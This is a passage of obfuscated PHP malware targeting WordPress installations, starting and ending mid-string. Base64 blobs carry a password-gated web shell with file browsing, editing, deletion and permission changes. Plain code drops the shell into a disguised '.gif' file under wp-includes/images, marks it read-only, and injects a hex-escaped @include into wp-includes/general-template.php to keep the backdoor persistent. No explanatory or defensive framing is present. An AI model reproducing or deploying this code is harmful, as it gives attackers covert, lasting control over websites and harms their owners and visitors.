ig6Zmk5oiQ5YqfPC9mb250PjxiciAvPic7DQogICAgICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7mlofku7bliKDpmaTlpLHotKU8L2ZvbnQ+PGJyIC8+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCiAgICBlY2hvICc8L2NlbnRlcj4nOw0KICAgICRzY2FuZGlyID0gc2NhbmRpcigkcGF0aCk7DQogICAgJHBhID0gZ2V0Y3dkKCk7DQogICAgZWNobyAnIDxkaXYgaWQ9ImNvbnRlbnQiPjx0YWJsZSB3aWR0aD0iMTAwJSIgY2xhc3M9InRhYmxlX2hvbWUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCiANCjx0cj4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7Ij48Y2VudGVyPuWQjeensDwvY2VudGVyPjwvdGg+DQo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5aSn5bCPPC9jZW50ZXI+PC90aD4NCjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPg0KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuaTjeS9nOmAiemhuTwvY2VudGVyPjwvdGg+DQo8L3RyPg0KDQoNCiA8dHI+DQo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPg0KPGEgaHJlZj0iP0FSUkFZPScuJEFSUkFZLicmcGF0aD0nLmRpcm5hbWUoJHBhdGgpLiciIHN0eWxlPSJkaXNwbGF5OmJsb2NrOyB3aWR0aDoxMDAlOyIgdGl0bGU9IuS4iuS4gOmhtSI+5LiK5LiA6aG1PC9hPg0KPC90ZD48dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+U2l6ZTwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj5DaG1vZDwvdGQ+IDx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4gPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1iYXJ1Jm5hbWU9bmV3LnBocCI+KyDmlrDlu7rmlofku7Y8L2E+IHwgPGEgaHJlZj0iP29wdGlvbiZBUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kcGF0aC4nJm9wdD1idHcmdHlwZT1kaXIiPisg5paw5bu655uu5b2VPC9hPiA8L3RkPjwvdHI+DQonOw0KDQogICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsNCiAgICAgICAgaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7DQogICAgICAgIGVjaG8gIg0KPHRyPg0KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+RElSPC9jZW50ZXI+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lIGFsaWduPWNlbnRlcj4NCjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPg0KIjsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPic7DQogICAgICAgIGVjaG8ganVlamlhbmdfcGVybXMoIiRwYXRoLyRkaXIiKTsNCiAgICAgICAgaWYoaXNfd3JpdGFibGUoIiRwYXRoLyRkaXIiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPC9mb250Pic7DQoNCiAgICAgICAgZWNobyAiDQo8L2E+DQo8L3RkPg0KDQoNCjx0ZCBjbGFzcz10ZF9ob21lID48Y2VudGVyPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZGlyJm5hbWU9JGRpclwiPumHjeWRveWQjTwvYT4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8YnI+JzsNCiAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsNCiAgICAgICAgaWYoIWlzX2ZpbGUoIiRwYXRoLyRmaWxlIikpIGNvbnRpbnVlOw0KICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCIkcGF0aC8kZmlsZSIpLzEwMjQ7DQogICAgICAgICRzaXplID0gcm91bmQoJHNpemUsMyk7DQogICAgICAgIGlmKCRzaXplID49IDEwMjQpew0KICAgICAgICAgICAgJHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOw0KICAgICAgICB9ZWxzZXsNCiAgICAgICAgICAgICRzaXplID0gJHNpemUuJyBLQic7DQogICAgICAgIH0NCg0KDQogICAgICAgIGVjaG8gIjx0cj4NCjx0ZCBjbGFzcz10ZF9ob21lID4gPGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQXdBQUFBUUNBWUFBQUFpWVo0SEFBQUFDWEJJV1hNQUFBc1RBQUFMRXdFQW1wd1lBQUFLVFdsRFExQlFhRzkwYjNOb2IzQWdTVU5ESUhCeWIyWnBiR1VBQUhqYW5WTjNXSlAzRmo3ZjkyVVBWa0xZOExHWGJJRUFJaU9zQ01nUVdhSVFrZ0JoaEJBU1FNV0ZpQXBXRkJVUm5FaFZ4SUxWQ2tpZGlPS2dLTGhuUVlxSVdvdFZYRGp1SDl5bnRYMTY3KzN0KzlmN3ZPZWM1L3pPZWM4UGdCRVNKcEhtb21vQU9WS0ZQRHJZSDQ5UFNNVEp2WUFDRlVqZ0JDQVE1c3ZDWndYRkFBRHdBM2w0Zm5Td1Avd0JyMjhBQWdCdzFTNGtFc2ZoLzRPNlVDWlhBQ0NSQU9BaUV1Y0xBWkJTQU1ndVZNZ1VBTWdZQUxCVHMyUUtBSlFBQUd4NWZFSWlBS29OQU96MFNUNEZBTmlwazl3WEFOaWlIS2tJQUkwQkFKa29SeVFDUUxzQVlGV0JVaXdDd01JQW9LeEFJaTRFd0s0QmdGbTJNa2NDZ0wwRkFIYU9XSkFQUUdBQWdKbENMTXdBSURnQ0FFTWVFODBESUV3RG9ERFN2K0NwWDNDRnVFZ0JBTURMbGMyWFM5SXpGTGlWMEJwMzh2RGc0aUhpd215eFFtRVhLUkJtQ2VRaW5KZWJJeE5JNXdOTXpnd0FBQnI1MGNIK09EK1E1K2JrNGVabTUyenY5TVdpL212d2J5SStJZkhmL3J5TUFnUUFFRTdQNzlwZjVlWFdBM0RIQWJCMXYydXBXd0RhVmdCbzMvbGRNOXNKb0ZvSzBIcjVpM2s0L0VBZW5xRlF5RHdkSEFvTEMrMGxZcUc5TU9PTFB2OHo0Vy9naTM3Mi9FQWUvdHQ2OEFCeG1rQ1pyY0NqZy8xeFlXNTJybEtPNThzRVFqRnU5K2NqL3NlRmYvMk9LZEhpTkxGY0xCV0s4VmlKdUZBaVRjZDV1VktSUkNISmxlSVM2WDh5OFIrVy9RbVRkdzBBcklaUHdFNjJCN1hMYk1CKzdnRUNpdzVZMG5ZQVFIN3pMWXdhQzVFQUVHYzBNbm4zQUFDVHYvbVBRQ3NCQU0yWHBPTUFBTHpvR0Z5b2xCZE14Z2dBQUVTZ2dTcXdRUWNNd1JTc3dBNmN3UjI4d0JjQ1lRWkVRQXdrd0R3UVFnYmtnQndLb1JpV1FSbFV3RHJZQkxXd0F4cWdFWnJoRUxUQk1UZ041K0FTWElIcmNCY0dZQmlld2hpOGhna0VRY2dJRTJFaE9vZ1JZbzdZSXM0SUY1bU9CQ0poU0RTU2dLUWc2WWdVVVNMRnlIS2tBcWxDYXBGZFNDUHlMWElVT1kxY1FQcVEyOGdnTW9yOGlyeEhNWlNCc2xFRDFBSjFRTG1vSHhxS3hxQnowWFEwRDEyQWxxSnIwUnEwSGoyQXRxS24wVXZvZFhRQWZZcU9ZNERSTVE1bWpObGhYSXlIUldDSldCb214eFpqNVZnMVZvODFZeDFZTjNZVkc4Q2VZZThJSkFLTGdCUHNDRjZFRU1Kc2dwQ1FSMWhNV0VPb0pld2p0Qks2Q0ZjSmc0UXh3aWNpazZoUHRDVjZFdm5FZUdJNnNaQllScXdtN2lFZUlaNGxYaWNPRTErVFNDUU95WkxrVGdvaEpaQXlTUXRKYTBqYlNDMmtVNlErMGhCcG5Fd202NUJ0eWQ3a0NMS0FyQ0NYa2JlUUQ1QlBrdnZKdytTM0ZEckZpT0pNQ2FJa1VxU1VFa28xWlQvbEJLV2ZNa0tab0twUnphbWUxQWlxaURxZldrbHRvSFpRTDFPSHFSTTBkWm9selpzV1E4dWtMYVBWMEpwcFoybjNhQy9wZExvSjNZTWVSWmZRbDlKcjZBZnA1K21EOUhjTURZWU5nOGRJWWlnWmF4bDdHYWNZdHhrdm1VeW1CZE9YbWNoVU1OY3lHNWxubUErWWIxVllLdllxZkJXUnloS1ZPcFZXbFg2VjU2cFVWWE5WUDlWNXFndFVxMVVQcTE1V2ZhWkdWYk5RNDZrSjFCYXIxYWtkVmJ1cE5xN09VbmRTajFEUFVWK2p2bC85Z3ZwakRiS0doVWFnaGtpalZHTzN4aG1OSVJiR01tWHhXRUxXY2xZRDZ5eHJtRTFpVzdMNTdFeDJCZnNiZGk5N1RGTkRjNnBtckdhUlpwM21jYzBCRHNheDRQQTUyWnhLemlIT0RjNTdMUU10UHkyeDFtcXRacTErclRmYWV0cSsybUx0Y3UwVzdldmE3M1Z3blVDZExKMzFPbTA2OTNVSnVqYTZVYnFGdXR0MXorbyswMlByZWVrSjljcjFEdW5kMFVmMWJmU2o5UmZxNzlidjBSODNNRFFJTnBBWmJERTRZL0RNa0dQb2E1aHB1Tkh3aE9Hb0VjdG91cEhFYUtQUlNhTW51Q2J1aDJmak5YZ1hQbWFzYnh4aXJEVGVaZHhyUEdGaWFUTGJwTVNreGVTK0tjMlVhNXBtdXRHMDAzVE16TWdzM0t6WXJNbnNqam5Wbkd1ZVliN1p2TnY4allXbFJaekZTb3MyaThlVzJwWjh5d1dXVFpiM3JKaFdQbFo1VnZWVzE2eEoxbHpyTE90dDFsZHNVQnRYbXd5Yk9wdkx0cWl0bTYzRWRwdHQzeFRpRkk4cDBpbjFVMjdhTWV6ODdBcnNtdXdHN1RuMllmWWw5bTMyengzTUhCSWQxanQwTzN4eWRIWE1kbXh3dk91azRUVERxY1NwdytsWFp4dG5vWE9kOHpVWHBrdVF5eEtYZHBjWFUyMm5pcWR1bjNyTGxlVWE3cnJTdGRQMW81dTdtOXl0MlczVTNjdzl4WDJyKzAwdW14dkpYY005NzBIMDhQZFk0bkhNNDUybm02ZkM4NURuTDE1MlhsbGUrNzBlVDdPY0pwN1dNRzNJMjhSYjRMM0xlMkE2UGoxbCtzN3BBejdHUGdLZmVwK0h2cWErSXQ4OXZpTisxbjZaZmdmOG52czcrc3Y5ai9pLzRYbnlGdkZPQldBQndRSGxBYjJCR29HekEyc0RId1NaQktVSE5RV05CYnNHTHd3K0ZVSU1DUTFaSDNLVGI4QVg4aHY1WXpQY1p5eWEwUlhLQ0owVldodjZNTXdtVEI3V0VZNkd6d2pmRUg1dnB2bE02Y3kyQ0lqZ1IyeUl1QjlwR1prWCtYMFVLU295cWk3cVViUlRkSEYwOXl6V3JPUlorMmU5anZHUHFZeTVPOXRxdG5KMlo2eHFiRkpzWSt5YnVJQzRxcmlCZUlmNFJmR1hFblFUSkFudGllVEUyTVE5aWVOekF1ZHNtak9jNUpwVWxuUmpydVhjb3JrWDV1bk95NTUzUEZrMVdaQjhPSVdZRXBleVArV0RJRUpRTHhoUDVhZHVUUjBUOG9TYmhVOUZ2cUtOb2xHeHQ3aEtQSkxtblZhVjlqamRPMzFEK21pR1QwWjF4ak1KVDFJcmVaRVprcmtqODAxV1JOYmVyTS9aY2RrdE9aU2NsSnlqVWcxcGxyUXIxekMzS0xkUFppc3JrdzNrZWVadHlodVRoOHIzNUNQNWMvUGJGV3lGVE5HanRGS3VVQTRXVEMrb0szaGJHRnQ0dUVpOVNGclVNOTltL3VyNUl3dUNGbnk5a0xCUXVMQ3oyTGg0V2ZIZ0lyOUZ1eFlqaTFNWGR5NHhYVks2WkhocDhOSjl5MmpMc3BiOVVPSllVbFh5YW5uYzhvNVNnOUtscFVNcmdsYzBsYW1VeWN0dXJ2UmF1V01WWVpWa1ZlOXFsOVZiVm44cUY1VmZySENzcUs3NHNFYTQ1dUpYVGwvVmZQVjViZHJhM2txM3l1M3JTT3VrNjI2czkxbS9yMHE5YWtIVjBJYndEYTBiOFkzbEcxOXRTdDUwb1hwcTlZN050TTNLelFNMVlUWHRXOHkyck52eW9UYWo5bnFkZjEzTFZ2MnRxN2UrMlNiYTFyL2RkM3Z6RG9NZEZUdmU3NVRzdkxVcmVGZHJ2VVY5OVc3UzdvTGRqeHBpRzdxLzVuN2R1RWQzVDhXZWozdWxld2YyUmUvcmFuUnZiTnl2djcreUNXMVNObzBlU0RwdzVadUFiOXFiN1pwM3RYQmFLZzdDUWVYQko5K21mSHZqVU9paHpzUGN3ODNmbVgrMzlRanJTSGtyMGpxL2Rhd3RvMjJnUGFHOTcraU1vNTBkWGgxSHZyZi9mdTh4NDJOMXh6V1BWNTZnblNnOThmbmtncFBqcDJTbm5wMU9QejNVbWR4NTkwejhtV3RkVVYyOVowUFBuajhYZE81TXQxLzN5ZlBlNTQ5ZDhMeHc5Q0wzWXRzbHQwdXRQYTQ5UjM1dy9lRklyMXR2NjJYM3krMVhQSzUwOUUzck85SHYwMy82YXNEVmM5ZjQxeTVkbjNtOTc4YnNHN2R1SnQwY3VDVzY5ZmgyOXUwWGR3cnVUTnhkZW85NHIveSsydjNxQi9vUDZuKzAvckZsd0czZytHREFZTS9EV1EvdkRnbUhudjZVLzlPSDRkSkh6RWZWSTBZampZK2RIeDhiRFJxOThtVE9rK0duc3FjVHo4cCtWdjk1NjNPcjU5Lzk0dnRMejFqODJQQUwrWXZQdjY1NXFmTnk3NnVwcnpySEk4Y2Z2TTU1UGZHbS9LM08yMzN2dU8rNjM4ZTlINWtvL0VEK1VQUFIrbVBIcDlCUDl6N25mUDc4TC9lRTgvc2wwcDh6QUFBQUlHTklVazBBQUhvbEFBQ0Fnd0FBK2Y4QUFJRHBBQUIxTUFBQTZtQUFBRHFZQUFBWGI1SmZ4VVlBQUFHNFNVUkJWSGphZkpMUGFoTlJGTVovOTl5WmFiQnhDTk5LaXlnb3hHQ2dsQlpjdUNnSTlnMktMMU5Dd1M1S1g4QW5VTG9TdW5QVnJkdkdnQnVwRVYyNEVXUUNNOG5NNU0rOTE4Vk1SdU9pMytyQ1BkLzVmZWZjcTE3MVhqdTA1VGJadWVIeS9Fd0JlR2pMMjVNVDVzYXdNSWFKWFRWL0dneDRkM1hGMFhIUFhaNmZLUUd3MXJJd2hwa3htT21VUE10SXgyT1NKR0djcHJ3L1BVVjh6ZEZ4ejhrNFRldHVnZFkwZ29CQWF6d1JsQWh4SFBQbTRvSVhuUTZmQjMwOEFCSGhZNzhQd05aNnhLOUp6RzYzQzhETHcwT2N0WVJoeUlmcjY5SUEwRzYzY1ZYK0ppMGFRUUN6R1FDTGYyYnlBTFJTRElmRHVqdkF0Nm9nOGhyRWk0TDl2YjNTVUdRWlNvU25uUTRMYTdsTFZKT1d1bDhVQUJSWlZzM2dIRjl1YnVxQ0pXbHJQU3BwazVpRDdlMktrT2NBN0hhN3pJd3BNLzlIYXRMQzA1b2l6LzhPL2ZQcmQ4S1d6NC9mYVUwQm1FOHovTFU3Nk0zTmtqQXRDclFJRDU0OExrbjNZR1lNRDZNSWF5Mm1vZ0pNaTJLVkFCQzJmUExjNTlIR0JvZ0FZSXhCcXJPM2ZPbUQ1OC9LeXlxM2NRNnRWRzBDR0tjcFhqSWFyYXhRaTJDc0xZc0JKWUpUQ2lWQ01ocWhtanM3enRyYnYvZFNJc0tmQVFEZklzS0h2QVpZWkFBQUFBQkpSVTVFcmtKZ2dnPT0nPg0KDQoiOw0KLy8gPGEgaHJlZj1cIj9BUlJBWT17JEFSUkFZfSZmaWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT4NCiAgICAgICAgZWNobyAiDQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+DQo8L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4iLiRzaXplLiI8L2NlbnRlcj48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOw0KDQoNCg0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOw0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOw0KICAgICAgICBlY2hvICI8L2E+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+DQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPSRwYXRoJm9wdD1lZGl0JnR5cGU9ZmlsZSZuYW1lPSRmaWxlXCI+57yW6L6RPC9hPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+DQo8YSBocmVmPVwiamF2YXNjcmlwdDppZihjb25maXJtKCfnoa7lrp7opoHliKDpmaTlkJc/JykpbG9jYXRpb249Jz9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD17JHBhdGh9Jm9wdD1kZWxldGUmdHlwZT1maWxlJm5hbWU9eyRmaWxlfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8L3RhYmxlPg0KPC9kaXY+JzsNCn0NCmVjaG8gJzxicj48YnI+PGJyPjxicj48L2I+DQo8L2JvZHk+IDwvaHRtbD48L2JvZHk+DQo8L2h0bWw+JzsNCmRpZTsNCmVuZGlmOyAgLy8gPT09PQ0KDQoNCg0KDQoNCg0K"; // WP 404 @chmod($jue_jiang_404_path, 0644); @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404)); @chmod($jue_jiang_404_path, 0444); } $file_general_template_path = $do."wp-includes/general-template.php"; $general_template_code = @file_get_contents($file_general_template_path); $gen_mat = base64_decode("QGluY2x1ZGVbXHNdKyIoXFxbeDAtOV0uKz8pIjs="); $isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false; if (!$isget_mat){ $mc1 = "KGZ1bmN0aW9uW1xzXStnZXRfaGVhZGVyKFtcc10rKT9cKCguKz8peyk="; preg_match_all("/".base64_decode($mc1)."/i",$general_template_code,$pr); $str = "\x" . substr(chunk_split(bin2hex($jue_jiang_404_path), 2, "\x"), 0, -2); $new_general_template = str_replace($pr[0][0],$pr[0][0].PHP_EOL.PHP_EOL." @include \"$str\";",$general_template_code); @file_put_contents($file_general_template_path,$new_general_template); }$jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif"; if (!file_exists($jue_jiang_404_path)){ $jue_jiang_404 = "PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ1BSQycpOw0KDQokQVJSQVkgPSAkeydfR0VUJ31bJ0FSUkFZJ107DQokS0pNbiA9IHN0cl9yb3QxMygkQVJSQVkpOw0KJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOw0KJEV6YVUgPSBqc29uX2RlY29kZSgkY2JILCB0cnVlKTsNCmlmICgoJEV6YVVbMF0gLSB0aW1lKCkpID4gMCBhbmQgbWQ1KG1kNSgkRXphVVsyXSkpID09PSAiOWYzNDY2NWIwMDUyMzExZDViNmFkNmY4MjFkYzYyMjgiKSA6IC8vID09PT0NCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQogICAgZnVuY3Rpb24ganVlamlhbmdfcGVybXMoJGZpbGUpew0KICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOw0KICAgICAgICBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7Ly8gU29ja2V0DQogICAgICAgICAgICAkaW5mbyA9ICdzJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsNCiAgICAgICAgICAgICRpbmZvID0gJ2wnOw0KICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7Ly8gUmVndWxhcg0KICAgICAgICAgICAgJGluZm8gPSAnLSc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsvLyBCbG9jayBzcGVjaWFsDQogICAgICAgICAgICAkaW5mbyA9ICdiJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQ0KICAgICAgICAgICAgJGluZm8gPSAnZCc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsvLyBDaGFyYWN0ZXIgc3BlY2lhbA0KICAgICAgICAgICAgJGluZm8gPSAnYyc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsvLyBGSUZPIHBpcGUNCiAgICAgICAgICAgICRpbmZvID0gJ3AnOw0KICAgICAgICB9IGVsc2Ugey8vIFVua25vd24NCiAgICAgICAgICAgICRpbmZvID0gJ3UnOw0KICAgICAgICB9DQovLyBPd25lcg0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPw0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOg0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoNCi8vIEdyb3VwDQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCg0KLy8gV29ybGQNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8NCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoNCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KDQogICAgICAgIHJldHVybiAkaW5mbzsNCiAgICB9DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLyoqDQogKiDovazljJYgXCDkuLogLw0KICovDQpmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkNCnsNCiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7DQogICAgcmV0dXJuICRwYXRoOw0KfQ0KDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KLyoqIOWPluW+l+ermeeCueagueebruW9lQ0KICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10NCiAqLw0KZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpew0KDQogICAgJHBocF9zZWxmID0gZGlyX3BhdGgoJF9TRVJWRVJbIlBIUF9TRUxGIl0pOw0KICAgICRzY3JpcHRfZmlsZW5hbWUgPSBkaXJfcGF0aCgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOw0KICAgIGlmIChlbXB0eSgkX1NFUlZFUlsiUEhQX1NFTEYiXSkgb3IgZW1wdHkoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSl7DQogICAgICAgICRkbzEgPSBkaXJfcGF0aCgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdKTsNCiAgICAgICAgJGRvID0gcnRyaW0oJGRvMSwnLycpOw0KICAgIH1lbHNlew0KICAgICAgICAkZG8gPSBzdHJfcmVwbGFjZShzdHJfcmVwbGFjZSgiLy8iLCAiLyIsICRwaHBfc2VsZiksICIiLCBzdHJfcmVwbGFjZSgiXFxcXCIsICIvIiwgJHNjcmlwdF9maWxlbmFtZSkpOw0KICAgIH0NCiAgICByZXR1cm4gJGRvOw0KfQ0KJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7DQpkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQoNCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7DQogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsNCiAgICAgICAgJF9QT1NUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7DQogICAgfQ0KfQ0KDQokVmVyc2lvbiA9IGJhc2U2NF9kZWNvZGUoJzVweUE1WkNPNTVxRTVZQ1U